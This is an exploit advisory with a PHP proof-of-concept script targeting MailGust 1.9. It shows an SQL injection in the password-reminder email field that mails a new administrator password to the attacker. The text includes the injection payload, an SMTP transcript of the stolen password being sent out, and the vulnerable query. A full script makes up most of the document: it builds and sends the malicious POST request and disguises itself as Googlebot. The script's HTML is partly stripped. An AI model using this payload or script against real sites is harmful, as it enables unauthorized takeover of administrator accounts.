M a i l G u s t v.1.9 S Q L I n j e c t i o n

MailGust 1.9 SQL injection / board takevor software: site: http://www.mailgust.org/ description: Mailgust is three softwares in one: * Mailing list manager * Newsletter distribution tool * Message Board Mailgust is written in php and uses a mysql database. vulnerability: if magic quotes off -> SQL Injection without to have an account, a user can send himself a new admin password using password reminder, in email field type: [yuor_email],'or'a'='a'/*@hotmail.com give a look to what happen: 220 [MAILSERVER] SMTP Service ready HELO [MAILGUST] 250 [MAILSERVER]. MAIL FROM: 250 MAIL FROM: OK RCPT TO:<[your_email]> 250 RCPT TO:>[your_email] OK RCPT TO:<'or'a'='a'/*@hotmail.com> 250 RCPT TO:<'or'a'='a'/*@hotmail.com> OK DATA 354 Start mail input; end with . Date: Sat, 24 Sep 2005 16:11:38 +0100 Subject: New password To: [your_email],'or'a'='a'/*@hotmail.com From: systemxxx@localhost.com Your login name is: [admin_email] Your new password is: 4993587 Click here: http://localhost/mailgust/index.php?method=activate_new_password&list=maillistuser&pwd=4993587&id=1756185114 to activate the password, than try to log in! It is recommended that you change your password afterwards. . 250 <4335105B00009AE2> Mail accepted QUIT 221 [MAILSERVER] QUIT vulnerable query is in [path_to_mailgust]/gorum/user_email.php at line 363: ... $query = "SELECT * FROM $applName"."_$userClassName ". "WHERE email='$this->email'"; ... it becomes: SELECT * FROM maillist_maillistuser WHERE email='[yuor_email],'or'a'='a'/*@hotmail.com' "or'a'='a'" is always true, so the query is always true, script doesn't fail, for mail function, theese are two valid email address, it will send the mail to [your_email] and to 'or'a'='a'/*@hotmail.com ;) activate the password, now you can login with [admin_email] as user and new password this is my proof of concept exploit: M a i l G u s t v.1.9 S Q L I n j e c t i o n

MailGust V 1.9 (possibly prior versions) SQL Injection / board takeover

a script by rgod at http://rgod.altervista.org

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacket($packet) { global $proxy, $host, $port, $html; if ($proxy=='') {$ock=fsockopen(gethostbyname($host),$port);} else { if (!eregi($proxy_regex,$proxy)) {echo htmlentities($proxy).' -> not a valid proxy...'; die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...'; die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); echo htmlentities($html); } function isemail($email) { $regex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]{2,})+$'; if (eregi($regex, $email)) return true; else return false; } if (($path<>'') and ($host<>'') and ($your_email<>'')) { if ($port=='') {$port=80;} $your_email=trim($your_email); if (!isemail($your_email)) { echo '
I am not MailGust! You have to give me a valid e-mail...

'; die; } $sql=$your_email.",'or'a'='a'/*@fakedomainname.com"; //wow it's a beautiful query ;) $data='-----------------------------7d52b21b210554 Content-Disposition: form-data; name="method" remind_password -----------------------------7d52b21b210554 Content-Disposition: form-data; name="list" maillistuser -----------------------------7d52b21b210554 Content-Disposition: form-data; name="fromlist" maillist -----------------------------7d52b21b210554 Content-Disposition: form-data; name="frommethod" showhtmllist -----------------------------7d52b21b210554 Content-Disposition: form-data; name="email" '.$sql.' -----------------------------7d52b21b210554 Content-Disposition: form-data; name="submit" Ok -----------------------------7d52b21b210554--'; if ($proxy=='') {$packet="POST ".$path."index.php HTTP/1.1\r\n";} else {$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";} $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.$path."index.php?method=remind_password_form&list=maillistuser&fromlist=maillist&frommethod=showhtmllist\r\n"; $packet.="Accept-Language: en\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d52b21b210554\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: globalUserId=1745493597; gustTimeOut=1\r\n\r\n"; $packet.=$data; show($packet); sendpacket($packet); } else { echo '
Fill in requested fields, optionally specify a proxy...

'; } ?> rgod site: http://rgod.altervista.org mail: retrogod at aliceposta.it original advisory: http://rgod.altervista.org/maildisgust.html